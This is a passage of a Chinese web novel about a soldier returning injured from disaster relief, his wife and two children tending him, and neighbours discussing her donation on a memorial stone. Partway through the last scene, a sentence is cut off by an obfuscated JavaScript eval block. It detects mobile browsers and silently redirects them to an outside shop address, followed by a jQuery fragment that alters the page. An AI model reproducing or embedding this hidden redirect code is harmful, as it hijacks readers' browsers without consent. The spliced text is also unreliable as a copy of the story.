常巧芬哪知道孩子们心里想什么,要知道了,会回答能不好吃吗? 妈妈可是非常认真做了一次饭! 都没给出任务回家的爸爸那么认真做过饭。 爸爸不配吃妈妈认真细致做的饭菜,在他嘴里就没什么区别,还会嫌肉太少,切太薄吃不过瘾,简直是牛嚼牡丹! 升升芍芍过来前被妈妈教过,吃到饭菜后要夸好吃,常阿姨做的饭菜味道确实不赖,小朋友们就不吝惜夸赞的话语,夸完继续埋头吃饭。 常巧芬问冉文霜:“你也听到了吧?他们七月份可能要回来,在那边足足待一个月了。” 在工厂吃午饭的时候,不少人讨论,她和文霜错开时间吃饭,但是这个话题一直都在。 “听到了,现在估计是参与灾后重建工作,希望大家好好的,战士们都平安归来。”今天是女儿生日,冉文霜就不悲观了。 常巧芬:“是啊,回头给孩子爸爸炖只鸡,让他大口吃肉,这一个月估计瘦了不少。” 炖整只鸡,让他自己撕着吃,想撕多大块就多大块,她尽量不念叨他。 只能说尽量。 冉文霜:“我也给阿衡炖一只鸡。” 再煮一些滋补的汤。 “我当初就是奔着制衣厂去的,想着制衣厂不要我的话,我再去食品加工厂试试,幸好制衣厂要我了,食品加工厂太累。”晚饭吃到一半,常巧芬开始做“工作总结”。 食品加工厂的工作,累。 冉文霜:“我已经习惯了,不过这阵子加班加点确实累,累到我洗漱完倒头就睡,幸好无论什么时候睡,早上都能按时起来。” “一点不好,睡觉时间被打乱很痛苦的,等恢复正常生活后,你试试调整睡眠时间,让睡眠也恢复正常。” “好。” ... 支援的军人在七月上旬前陆续回到部队。 毫无疑问,回来都瘦了一圈。 少的掉了五六斤,多的掉了快二十斤。 军人可不都是劲瘦身材,也有一些在普通人眼里看来有点胖的。 行军打仗需要力量,古代画里的将军大多是大肚形象,瞧着有气势。 军里就有这样体型的军官,他们掉的最多。 谢衡本来就不胖,瘦了十斤,明显感觉清瘦不少。 他回来第一件事就是祝女儿生日快乐。 芍芍以为自己又过生日了,问妈妈,今天是不是她生日? 她怎么有那么多生日。 冉文霜解释:“不是你生日,你生日已经过了,爸爸只是补上生日祝福。 爸爸的生日比你早两天,今年爸爸没能过生日,你们能祝爸爸生日快乐吗?” 两个孩子一齐祝爸爸生日快乐。 20. 第 20 章 “妈妈不哭,不哭。”芍芍看妈妈掉眼泪了,连忙哄妈妈。 冉文霜用手擦掉脸颊上的眼泪:“原来妈妈掉眼泪了啊,芍芍不说,妈妈都不知道。 你和哥哥要记住,掉眼泪的时候,不能用手去搓眼睛,搓眼睛会难受。” 她掉眼泪的时候没忘记教孩子生活小常识。 说完,她就拿了条毛巾擦脸。 她应该是掉眼泪时表面情绪最稳定的人了。 站着掉了会儿眼泪后,坐到椅子上掉。 在一大两小注视自己的时候,依旧面不改色落泪。 只有一种时候,她才会不好意思被丈夫和孩子们看着:“我要擦一下鼻涕,你们别看我了。” 她从兜里拿出草纸,作势要擦鼻涕。 爸爸和孩子们转身过去。 冉文霜瞧着一大两小跟罚站似的,擦过鼻涕后,让他们转过来。 升升问妈妈为什么掉眼泪。 他不是妹妹,他没那么好骗的。 妈妈绝对不是无缘无故掉眼泪。 冉文霜不隐瞒:“因为很多事情忍不住掉眼泪,本来还能忍,看到爸爸的伤就忍不住了,你们可以看看爸爸的手,再仔细看看爸爸的脸和脖子。” 两个小朋友各抓住爸爸的一只大手,仔细研究爸爸的手。 爸爸的手本来就粗糙,这没什么好说的,可是在粗糙的手上却多了许多伤。 有几个指甲开裂,指甲已经剪到很短了,还是能看出暗红色的血污。 小朋友们白嫩的小手和爸爸伤痕累累的粗糙大手形成鲜明对比。 再看看爸爸的脸和脖子,仔细看能看出曾经被蚊虫叮咬或者过敏的痕迹。 小朋友们分不出过敏和蚊虫叮咬有什么区别,一律当成蚊子包。 他们没有手划伤,指甲开裂的经历,不确定爸爸手受伤是什么感觉,被蚊子叮咬可痒可难受了。 升升拿花露水给爸爸擦。 明知道花露水没用,谢衡还是配合孩子,擦了点花露水。 冉文霜看时间:“今天来不及了,晚饭随便应付一下,明天给你炖只鸡吃。” 她不再掉眼泪,先去做晚饭了。 今天包括以后都不打算问丈夫有关灾区的状况,问了只会揪心。 谢衡也没打算说出来。 孩子们抓着爸爸的手问爸爸是怎么伤到的,他只回答说不小心。 轻描淡写一两句话就带过去了。 孩子们体会不到疼痛,眼睛却是不瞎的,知道爸爸肯定很疼,忍不住心疼爸爸。 芍芍对刚回家的爸爸都没了生疏感。 后面不知道怎么回事,小朋友们玩起了爸爸的大手。 爸爸的手真大。 第一次直观感受到爸爸的手如此之大,比妈妈的手大好多,比他们大更多了。 升升心里想着,和爸爸玩拍手游戏,他的手肯定会被拍得很痛。 冉文霜拿上剪刀和菜篮子,要去自家菜园子剪些菜回来,孩子爸爸回来,之前剪的菜不够吃了。 两个小朋友瞅见,立刻放开爸爸的手,要跟妈妈去菜园子。 谢衡也跟着去了。 他想跟过来,冉文霜没阻止,进了家里的小菜园子,说起:“你一个月没回家,菜园子变化很大的。” 是变化很大,有更多能吃的蔬菜了。 她忙着干活也不忘记打理菜园子,只是太忙了,打理不细致,有些潦草,现在清闲下来,到了月中还能休息两天,可以精心打理菜园子了。 她让小朋友们给爸爸介绍菜园子都有哪些菜,自己剪好菜就走,留丈夫孩子在菜园子里。 谢衡想跟上,被孩子们留住。 小朋友特别想给爸爸展示他们的“学识”,尤其是升升。 谢衡只好留下来。 在教爸爸认菜的过程中,升升顺便纠正妹妹把杂草当青菜的说法。 不是青菜,就是杂草,虽然没毒,却会和蔬菜抢养分,平时是要被妈妈除掉的。 听到这话,谢衡索性蹲下来除杂草。 直到妈妈来喊吃饭,一大两小才回去洗手吃晚饭。 吃完晚饭,冉文霜没避开孩子,当着孩子们的面扒了爸爸的衣服。 谢衡没拒绝妻子的扒衣服行为,只是用手臂挡住了胸。 他身上皮肤也不是多“完好”。 衣服有防护作用,却不能分担多少重量,需要扛搬的重体力活容易对身体造成伤害。 如果被石块木头尖角划到,衣服或许没被划破,衣服里的皮肤是有可能被划伤的。 冉文霜看向孩子们:“我们来玩找爸爸伤痕游戏,看谁找到最多伤痕,找到最多的小朋友,明天能吃到一个鸡翅。” 输了的小朋友也有鸡翅。 鸡腿就给爸爸啃了。 说到比赛,小朋友们起劲了,找爸爸身上的伤口。 找到最后,无疑是哥哥赢了。 芍芍不想认输,指着一个小黑点点说又找到一个。 冉文霜:“我们家芍芍视力真好,不过妈妈要纠正的是,这不是伤,这只是一颗小痣,爸爸身上有,妈妈身上有,你和哥哥身上也有。” 芍芍认输了,为明天吃不到鸡翅感到忧伤。 升升主动说可以和妹妹分享鸡翅。 一听哥哥愿意分享,芍芍就不垂头丧气了,开始鼓励爸爸,让爸爸听妈妈话,听妈妈的话,好得快。 她和哥哥生病的时候,听妈妈的话就没那么难受了。 升升接着妹妹的话讲,妈妈生病难受的时候,他们什么也做不了,妈妈说有他们在身边就不那么难受了。 升升读幼儿园,直说妈妈骗人,他和妹妹什么都没为妈妈做,妈妈怎么可能不难受。 妈妈会在他们生病的时候照顾他们,他们才好得快,他们什么都没法为妈妈做,他想要倒杯热水,妈妈都不让,说他太小了,倒热水不小心会烫伤。 妈妈就问他,如果他生病难受的时候,妈妈不在身边,会不会更难受? 升升点头,只有他自己,他会更难受,他要妈妈陪着他。 小朋友就这么被说服了。 他现在也相信有他们陪着爸爸,爸爸心情好了,伤口会更快好。 谢衡听到孩子的话,心里那点羞耻没了,感到无比愧疚。 冉文霜察觉出来了,把衣服还给丈夫:“我看你现在最需要休息,休息好伤口才能愈合得更快,早点睡觉。” 爸爸身上的伤实在太多了,小朋友们拿妈妈的话当圣旨,也催着爸爸快点睡觉。 谢衡只好听话。 ... 冉文霜今天按时接孩子们回家。 路上看到大家围着一块大石碑看。 听大家谈论语气像是在看热闹,应该不是牺牲烈士石碑。 不是烈士石碑就好,如果把他们的石碑立在家属院,她都不敢经过这条路了,怕走过去会很难过。 有家属看到她了,招呼她过来。 升升和芍芍是想过去的,听到薛阿姨的话,一人一边,拉着妈妈的手过去。 冉文霜只好跟着孩子们的脚步走。 她过来,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13869826|146839||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些家属自觉让路,冉文霜心里突然升出某种不好的预感…… 薛淑玲指着第一的位置:“文霜,你看,你的名字排第一。” 原来是一块捐款功德碑。 按金额多少刻了家属们的名字。 第一个就是冉文霜的名字,明明大家的字一样大小,还都是白色的。 冉文霜的名字越看越红,特别显眼。 她下面的人是五十,几个人捐了五十,再往下看去,五块钱人数最多,一块钱也有那么几个。 一块钱的除了雷韵黄糕这类人,还有出身贫苦的家属,尽管现在已经有钱了,可是穷苦的经历刻在骨子里,很难拔除,让她们捐一块钱也是要命了。 薛淑玲捐了五十,她和丈夫贺志年都不是贫苦家庭出身,属于门当户对,可没魄力直接捐出一百块钱:“白色的名字,越看越红,文霜,你才真正担得起根正苗红四个字。” 冉文霜有一瞬间觉得自己像热锅上的蚂蚁,连忙摇头,趁着现在人多,她得说出近乎真实的情况:“我把家里的钱全捐出去了,想到和我家孩子差不多年纪的孩子被埋在废墟底下,心里实在煎熬,就想尽自己所能帮助他们。” 不是完全真实,她留了钱。 她知道一个家庭不能没一点存款。 薛淑玲很快了解到她的想法,帮着她说话:“你们家两口子差不多性格,谢衡本来要留守在部队,坚持要去支援,上级犟不过就让他去了。 刚好我家男人也去,他回来跟我说谢衡简直不要命一样,手流了很多血还不赶紧处理伤口,坚持救人,类似事情不只有一件,我听得心惊肉跳。 换成体格子不好的,随便一样就可能丧命,他为了救别人,都不管自己死活。” 岑米粒刚好要去卫生所值晚班,路过听到薛淑玲说了几句,再看到冉文霜的名字和捐款金额,很快接话:“冉姐,你为灾区民众着想的心情是大义,谢哥的行为可就不对了,以后你得多批评教育几句,钱没了可以赚回来,人没了是不可能再回来了。” 廉医生捐了五十,她捐了三十,她们俩的捐款金额已经很高了,没成想冉姐更高。 “什么!什么!大家怎么都围在一起,让我看看!”常巧芬最喜欢凑热闹,刚下工看到“人山人海”的场景,立马过来。 薛淑玲简单解释状况。 常巧芬听明白了,纠结着要不要把“锅”甩给谢衡,可是又觉得这是文霜的善意:“你们夫妻商量了把存的钱都捐出去,我是做不到的,我担心老家的爸妈出事,到时候我一分钱拿不出来……” 她住家属院,只要不生大病,看病吃药不花钱,所以只能提起老家的爸妈了。 不想让大家以为文霜捐一百块钱是谢衡的意思,明明是文霜自己好心,可是说文霜自己做主捐那么多钱,又会让文霜成为众矢之的。 以前和文霜关系淡,没有任何仇恨的家属,要觉得她不会过日子,脑子糊涂了。 这种想入一旦植入脑海里,会从关系淡变成厌恶文霜。 要是大家都差不多,你突然表现出有钱大方的样子,会不会被扣上地主帽子? 与其一个人当箭靶子,不如拉谢衡出来当另外一个箭靶子,分担伤害。 而且吧,功德碑上刻的是文霜的名字,不是谢衡的名字,分一点虚无的名声给谢衡没多大关系,当是对他成为箭靶子的奖励。 岑米粒明白常巧芬甩锅的说法,既然有人帮冉姐解围,没她的事:“我去上班了。” 薛淑玲转移话题:“升升和芍芍的名字也在呢,带两个孩子去看看他们的名字。”